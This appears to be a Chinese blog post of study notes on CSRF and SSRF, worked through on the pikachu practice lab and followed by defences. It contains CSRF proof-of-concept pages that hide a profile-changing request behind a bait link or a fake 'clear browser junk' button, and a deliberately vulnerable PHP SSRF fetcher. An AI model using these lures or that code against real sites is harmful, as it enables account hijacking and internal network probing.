CSRF,SSRF学习
CSRF
定义
CSRF:跨站请求伪造(Cross-site request forgery)CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。当用户访问含有恶意代码的网页时,会向指定正常网站发送非本人意愿的数据请求包(如转账给hack,向hack发送API等)如果此时用户恰好登录了该正常网站(也就是身份验证是正常的)就会执行该恶意代码的请求,从而造成CSRF。
流程
受害者登录了某个网站或者拥有某些权限 -> 攻击者伪造该网站(存在CSRF)的一条请求链如:【http://www.xxx.com/edit.php?email=hacker@qq.com&Change=Change】
->受害者点击了该连接,对网站发起了修改自己账户下的绑定邮箱的请求 -> 攻击者成功得到该账号的权限(若是可以使用邮箱找回密码)
跟xss的区别
xss是盗取用户cookie,在不经意之间发生,可能并不是用户主观控制,(如必要的浏览留言,申请等)
而CSRF则是需要该用户点击,就是用户自己主动去控制。
CSRF针对的更多是一些对于敏感数据是否把握好权限,如现在很多的网站修改个人信息都需要经过邮箱或者手机号验证,也可以用以下的进行修复加固
- 对敏感信息的操作增加安全的token;
- 对敏感信息的操作增加安全的验证码;
- 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
pikachu靶场试验
get型
- 登录用户发现正常是这样的信息
- 点击修改个人信息,进行修改。使用抓包查看参数,然后将修改好的连接制作成一个网页2022.php,使受害者无感点击
<?php
header('Location:https://finance.sina.com.cn/blockchain/roll/2022-03-02/doc-imcwipih6156568.shtml');
?>
<script src=http://10.8.49.250:8282/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=110&add=%E4%BD%A0%E6%89%BE%E4%B8%8D%E5%88%B0&email=hacker%40qq.com&submit=submit>
</script>
- 当受害者点击我们精心设计好的连接如:
比特币大涨,你买了吗?http://xxx.com/2022.php
当访问该网页时,就会加载js资源,即修改受害者信息的URL,并同时跳转到真正的比特币新闻连接,此时再看,信息已被修改了。
POST型
post的CSRF需要实现的就是设计一个按钮让用户为其点击提交一个表单就可以了
- 抓包,使用burp自带的功能,生成一个CSRF的html源码
- 对应生成的html稍加改改就可以了
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.8.49.250:8282/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="post_boy" />
<input type="hidden" name="phonenum" value="110" />
<input type="hidden" name="add" value="�¸‚�¸­�¿ƒ" />
<input type="hidden" name="email" value="mht@qq.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="一键清除浏览器垃圾" />
</form>
</body>
</html>
点击后,就会修改掉信息
防御方法
1)当用户发送重要的请求时需要输入原始密码
这样限制攻击者无法在完全无感的情况下执行CSRF,用户也会因此警觉
2)设置随机 Token
Token:给用户第一次登录时设定的唯一值(且足够随机),在作出请求的时候必须携带这个
Token才会生效,一方面减少了重复请求量,一方面也避免了大部分CSRF攻击
3)同源策略,检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面
(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4)设置验证码
5)限制请求方式只能为 POST
SSRF
定义
SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)即某个web服务器可以请求网络资源,比如请求http://www.baidu.com 那么他也可以去请求他内网的服务器http://127.0.0.1 或者使用伪协议file:///D:/www.txt去探测一些内网的信息,这便是SSRF,相当于存在SSRF漏洞的服务器就是一个进入内网的代理或者跳板机一样。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
常见漏洞点
WEB功能上:
1)分享:通过URL地址分享网页内容
2)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3)在线翻译:通过URL地址翻译对应文本内容 如:百度,有道
4)图片加载与下载:通过URL地址加载与下载图片
5)图片 文章收藏功能
6)未公开的API实现以及其他调用URL的功能
URL中的关键字:【结合谷歌语法找到入手点】
share wap url link src
source target u 3g display
sourceURL imageURL domain
搭建实例
源码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="POST">
请输入图片地址:<input type='text' name='url'>
<input type='submit' value="提交">
</form>
<?php $_POST['url']; $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, false); // 启用时会将头文件的信息作为数据流输出。
//参数为1表示输出信息头,为0表示不输出
curl_exec($ch);//默认是将curl_exec()获取的信息直接输出。
//若是设置CURLOPT_RETURNTRANSFER参数为1表示$html,为0表示echo $html
curl_close($ch);
?>
这里主要用到一个curl_exec()函数,获取一个curl会话,并将执行的结果返回到页面
- 利用http协议探测本地mysql版本,探测内网kali的端口
- 利用file协议探测本地文件
- dict协议
- ftp协议
这里是一些语言对应能使用的协议
漏洞防御修复
1.禁止跳转。
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.限制请求的端口只能为Web端口,不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题。
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090。
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
7.对DNS Rebinding,考虑使用DNS缓存或者Host白名单。
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。